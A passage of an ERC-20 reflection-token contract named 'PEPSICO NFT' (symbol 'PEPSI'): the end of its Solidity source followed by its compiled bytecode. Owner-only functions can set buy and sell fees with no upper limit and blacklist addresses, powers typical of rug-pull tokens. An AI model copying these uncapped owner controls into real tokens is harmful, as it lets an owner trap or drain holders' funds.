private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a9059cbb11610095578063c492f04611610064578063c492f04614610690578063dd62ed3e146106b9578063ea1644d5146106f6578063f2fde38b1461071f576101e2565b8063a9059cbb146105c2578063bdd795ef146105ff578063bfd792841461063c578063c3c8cd8014610679576101e2565b80638f9a55c0116100d15780638f9a55c01461051a57806395d89b411461054557806398a5c31514610570578063a2a957bb14610599576101e2565b806374010ece146104725780637d1db4a51461049b5780638da5cb5b146104c65780638f70ccf7146104f1576101e2565b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103de5780636fc3eaec1461040757806370a082311461041e578063715018a61461045b576101e2565b80632fd689e314610334578063313ce5671461035f57806349bd5a5e1461038a5780636b999053146103b5576101e2565b80631694505e116101b65780631694505e1461027857806318160ddd146102a357806323b872dd146102ce5780632f9c45691461030b576101e2565b8062b8cf2a146101e757806306fdde0314610210578063095ea7b31461023b576101e2565b366101e257005b600080fd5b3480156101f357600080fd5b5061020e60048036038101906102099190612f2a565b610748565b005b34801561021c57600080fd5b50610225610872565b6040516102329190612ffb565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190613053565b6108af565b60405161026f91906130ae565b60405180910390f35b34801561028457600080fd5b5061028d6108cd565b60405161029a9190613128565b60405180910390f35b3480156102af57600080fd5b506102b86108f3565b6040516102c59190613152565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f0919061316d565b610905565b60405161030291906130ae565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d91906131ec565b6109de565b005b34801561034057600080fd5b50610349610b61565b6040516103569190613152565b60405180910390f35b34801561036b57600080fd5b50610374610b67565b6040516103819190613248565b60405180910390f35b34801561039657600080fd5b5061039f610b70565b6040516103ac9190613272565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d7919061328d565b610b96565b005b3480156103ea57600080fd5b50610405600480360381019061040091906132ba565b610c86565b005b34801561041357600080fd5b5061041c610d37565b005b34801561042a57600080fd5b506104456004803603810190610440919061328d565b610da9565b6040516104529190613152565b60405180910390f35b34801561046757600080fd5b50610470610dfa565b005b34801561047e57600080fd5b50610499600480360381019061049491906132e7565b610f4d565b005b3480156104a757600080fd5b506104b0610fec565b6040516104bd9190613152565b60405180910390f35b3480156104d257600080fd5b506104db610ff2565b6040516104e89190613272565b60405180910390f35b3480156104fd57600080fd5b50610518600480360381019061051391906132ba565b61101b565b005b34801561052657600080fd5b5061052f6110cd565b60405161053c9190613152565b60405180910390f35b34801561055157600080fd5b5061055a6110d3565b6040516105679190612ffb565b60405180910390f35b34801561057c57600080fd5b50610597600480360381019061059291906132e7565b611110565b005b3480156105a557600080fd5b506105c060048036038101906105bb9190613314565b6111af565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190613053565b611266565b6040516105f691906130ae565b60405180910390f35b34801561060b57600080fd5b506106266004803603810190610621919061328d565b611284565b60405161063391906130ae565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e919061328d565b6112a4565b60405161067091906130ae565b60405180910390f35b34801561068557600080fd5b5061068e6112c4565b005b34801561069c57600080fd5b506106b760048036038101906106b291906133d6565b61133e565b005b3480156106c557600080fd5b506106e060048036038101906106db9190613436565b611478565b6040516106ed9190613152565b60405180910390f35b34801561070257600080fd5b5061071d600480360381019061071891906132e7565b6114ff565b005b34801561072b57600080fd5b506107466004803603810190610741919061328d565b61159e565b005b610750611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d4906134c2565b60405180910390fd5b60005b815181101561086e57600160106000848481518110610802576108016134e2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086690613540565b9150506107e0565b5050565b60606040518060400160405280600b81526020017f5045505349434f204e4654000000000000000000000000000000000000000000815250905090565b60006108c36108bc611760565b8484611768565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069d3c21bcecceda1000000905090565b6000610912848484611933565b6109d38461091e611760565b6109ce85604051806060016040528060288152602001613fed60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610984611760565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227b9092919063ffffffff16565b611768565b600190509392505050565b6109e6611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906134c2565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906135d5565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b9e611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c22906134c2565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c8e611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d12906134c2565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d78611760565b73ffffffffffffffffffffffffffffffffffffffff1614610d9857600080fd5b6000479050610da6816122df565b50565b6000610df3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234b565b9050919050565b610e02611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e86906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f55611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd9906134c2565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611023611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a7906134c2565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f5045505349000000000000000000000000000000000000000000000000000000815250905090565b611118611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c906134c2565b60405180910390fd5b8060198190555050565b6111b7611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123b906134c2565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061127a611273611760565b8484611933565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611305611760565b73ffffffffffffffffffffffffffffffffffffffff161461132557600080fd5b600061133030610da9565b905061133b816123b9565b50565b611346611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca906134c2565b60405180910390fd5b60005b838390508110156114725781600560008686858181106113f9576113f86134e2565b5b905060200201602081019061140e919061328d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061146a90613540565b9150506113d6565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611507611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b906134c2565b60405180910390fd5b8060188190555050565b6115a6611760565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169a90613667565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf906136f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183f9061378b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119269190613152565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a9061381d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a906138af565b60405180910390fd5b60008111611a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4d90613941565b60405180910390fd5b611a5e610ff2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611acc5750611a9c610ff2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b225750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b785750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f7a57601660149054906101000a900460ff16611c1e57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c14906139d3565b60405180910390fd5b5b601754811115611c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5a90613a3f565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d075750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3d90613ad1565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611df35760185481611da884610da9565b611db29190613af1565b10611df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de990613bb9565b60405180910390fd5b5b6000611dfe30610da9565b9050600060195482101590506017548210611e195760175491505b808015611e335750601660159054906101000a900460ff16155b8015611e8d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ea3575060168054906101000a900460ff165b8015611ef95750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f4f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f7757611f5d826123b9565b60004790506000811115611f7557611f74476122df565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120215750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120d45750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120d35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156120e25760009050612269565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561218d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121a557600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122505750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561226857600a54600c81905550600b54600d819055505b5b61227584848484612632565b50505050565b60008383111582906122c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ba9190612ffb565b60405180910390fd5b50600083856122d29190613bd9565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612347573d6000803e3d6000fd5b5050565b6000600654821115612392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238990613c7f565b60405180910390fd5b600061239c61265f565b90506123b1818461268a90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f1576123f0612d89565b5b60405190808252806020026020018201604052801561241f5781602001602082028036833780820191505090505b5090503081600081518110612437576124366134e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125029190613cb4565b81600181518110612516576125156134e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257d30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611768565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125e1959493929190613dda565b600060405180830381600087803b1580156125fb57600080fd5b505af115801561260f573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806126405761263f6126d4565b5b61264b848484612717565b80612659576126586128e2565b5b50505050565b600080600061266c6128f6565b91509150612683818361268a90919063ffffffff16565b9250505090565b60006126cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061295b565b905092915050565b6000600c541480156126e857506000600d54145b156126f257612715565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612729876129be565b95509550955095509550955061278786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061281c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061286881612ace565b6128728483612b8b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128cf9190613152565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069d3c21bcecceda1000000905061292e69d3c21bcecceda100000060065461268a90919063ffffffff16565b82101561294e5760065469d3c21bcecceda1000000935093505050612957565b81819350935050505b9091565b600080831182906129a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129999190612ffb565b60405180910390fd5b50600083856129b19190613e63565b9050809150509392505050565b60008060008060008060008060006129db8a600c54600d54612bc5565b92509250925060006129eb61265f565b905060008060006129fe8e878787612c5b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a6883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227b565b905092915050565b6000808284612a7f9190613af1565b905083811015612ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612abb90613ee0565b60405180910390fd5b8091505092915050565b6000612ad861265f565b90506000612aef8284612ce490919063ffffffff16565b9050612b4381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ba082600654612a2690919063ffffffff16565b600681905550612bbb81600754612a7090919063ffffffff16565b6007819055505050565b600080600080612bf16064612be3888a612ce490919063ffffffff16565b61268a90919063ffffffff16565b90506000612c1b6064612c0d888b612ce490919063ffffffff16565b61268a90919063ffffffff16565b90506000612c4482612c36858c612a2690919063ffffffff16565b612a2690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c748589612ce490919063ffffffff16565b90506000612c8b8689612ce490919063ffffffff16565b90506000612ca28789612ce490919063ffffffff16565b90506000612ccb82612cbd8587612a2690919063ffffffff16565b612a2690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612cf75760009050612d59565b60008284612d059190613f00565b9050828482612d149190613e63565b14612d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d4b90613fcc565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612dc182612d78565b810181811067ffffffffffffffff82111715612de057612ddf612d89565b5b80604052505050565b6000612df3612d5f565b9050612dff8282612db8565b919050565b600067ffffffffffffffff821115612e1f57612e1e612d89565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612e6082612e35565b9050919050565b612e7081612e55565b8114612e7b57600080fd5b50565b600081359050612e8d81612e67565b92915050565b6000612ea6612ea184612e04565b612de9565b90508083825260208201905060208402830185811115612ec957612ec8612e30565b5b835b81811015612ef25780612ede8882612e7e565b845260208401935050602081019050612ecb565b5050509392505050565b600082601f830112612f1157612f10612d73565b5b8135612f21848260208601612e93565b91505092915050565b600060208284031215612f4057612f3f612d69565b5b600082013567ffffffffffffffff811115612f5e57612f5d612d6e565b5b612f6a84828501612efc565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612fad578082015181840152602081019050612f92565b83811115612fbc576000848401525b50505050565b6000612fcd82612f73565b612fd78185612f7e565b9350612fe7818560208601612f8f565b612ff081612d78565b840191505092915050565b600060208201905081810360008301526130158184612fc2565b905092915050565b6000819050919050565b6130308161301d565b811461303b57600080fd5b50565b60008135905061304d81613027565b92915050565b6000806040838503121561306a57613069612d69565b5b600061307885828601612e7e565b92505060206130898582860161303e565b9150509250929050565b60008115159050919050565b6130a881613093565b82525050565b60006020820190506130c3600083018461309f565b92915050565b6000819050919050565b60006130ee6130e96130e484612e35565b6130c9565b612e35565b9050919050565b6000613100826130d3565b9050919050565b6000613112826130f5565b9050919050565b61312281613107565b82525050565b600060208201905061313d6000830184613119565b92915050565b61314c8161301d565b82525050565b60006020820190506131676000830184613143565b92915050565b60008060006060848603121561318657613185612d69565b5b600061319486828701612e7e565b93505060206131a586828701612e7e565b92505060406131b68682870161303e565b9150509250925092565b6131c981613093565b81146131d457600080fd5b50565b6000813590506131e6816131c0565b92915050565b6000806040838503121561320357613202612d69565b5b600061321185828601612e7e565b9250506020613222858286016131d7565b9150509250929050565b600060ff82169050919050565b6132428161322c565b82525050565b600060208201905061325d6000830184613239565b92915050565b61326c81612e55565b82525050565b60006020820190506132876000830184613263565b92915050565b6000602082840312156132a3576132a2612d69565b5b60006132b184828501612e7e565b91505092915050565b6000602082840312156132d0576132cf612d69565b5b60006132de848285016131d7565b91505092915050565b6000602082840312156132fd576132fc612d69565b5b600061330b8482850161303e565b91505092915050565b6000806000806080858703121561332e5761332d612d69565b5b600061333c8782880161303e565b945050602061334d8782880161303e565b935050604061335e8782880161303e565b925050606061336f8782880161303e565b91505092959194509250565b600080fd5b60008083601f84011261339657613395612d73565b5b8235905067ffffffffffffffff8111156133b3576133b261337b565b5b6020830191508360208202830111156133cf576133ce612e30565b5b9250929050565b6000806000604084860312156133ef576133ee612d69565b5b600084013567ffffffffffffffff81111561340d5761340c612d6e565b5b61341986828701613380565b9350935050602061342c868287016131d7565b9150509250925092565b6000806040838503121561344d5761344c612d69565b5b600061345b85828601612e7e565b925050602061346c85828601612e7e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006134ac602083612f7e565b91506134b782613476565b602082019050919050565b600060208201905081810360008301526134db8161349f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061354b8261301d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561357e5761357d613511565b5b600182019050919050565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b60006135bf601783612f7e565b91506135ca82613589565b602082019050919050565b600060208201905081810360008301526135ee816135b2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613651602683612f7e565b915061365c826135f5565b604082019050919050565b6000602082019050818103600083015261368081613644565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006136e3602483612f7e565b91506136ee82613687565b604082019050919050565b60006020820190508181036000830152613712816136d6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613775602283612f7e565b915061378082613719565b604082019050919050565b600060208201905081810360008301526137a481613768565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613807602583612f7e565b9150613812826137ab565b604082019050919050565b60006020820190508181036000830152613836816137fa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613899602383612f7e565b91506138a48261383d565b604082019050919050565b600060208201905081810360008301526138c88161388c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061392b602983612f7e565b9150613936826138cf565b604082019050919050565b6000602082019050818103600083015261395a8161391e565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006139bd603f83612f7e565b91506139c882613961565b604082019050919050565b600060208201905081810360008301526139ec816139b0565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613a29601c83612f7e565b9150613a34826139f3565b602082019050919050565b60006020820190508181036000830152613a5881613a1c565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613abb602383612f7e565b9150613ac682613a5f565b604082019050919050565b60006020820190508181036000830152613aea81613aae565b9050919050565b6000613afc8261301d565b9150613b078361301d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b3c57613b3b613511565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613ba3602383612f7e565b9150613bae82613b47565b604082019050919050565b60006020820190508181036000830152613bd281613b96565b9050919050565b6000613be48261301d565b9150613bef8361301d565b925082821015613c0257613c01613511565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613c69602a83612f7e565b9150613c7482613c0d565b604082019050919050565b60006020820190508181036000830152613c9881613c5c565b9050919050565b600081519050613cae81612e67565b92915050565b600060208284031215613cca57613cc9612d69565b5b6000613cd884828501613c9f565b91505092915050565b6000819050919050565b6000613d06613d01613cfc84613ce1565b6130c9565b61301d565b9050919050565b613d1681613ceb565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613d5181612e55565b82525050565b6000613d638383613d48565b60208301905092915050565b6000602082019050919050565b6000613d8782613d1c565b613d918185613d27565b9350613d9c83613d38565b8060005b83811015613dcd578151613db48882613d57565b9750613dbf83613d6f565b925050600181019050613da0565b5085935050505092915050565b600060a082019050613def6000830188613143565b613dfc6020830187613d0d565b8181036040830152613e0e8186613d7c565b9050613e1d6060830185613263565b613e2a6080830184613143565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000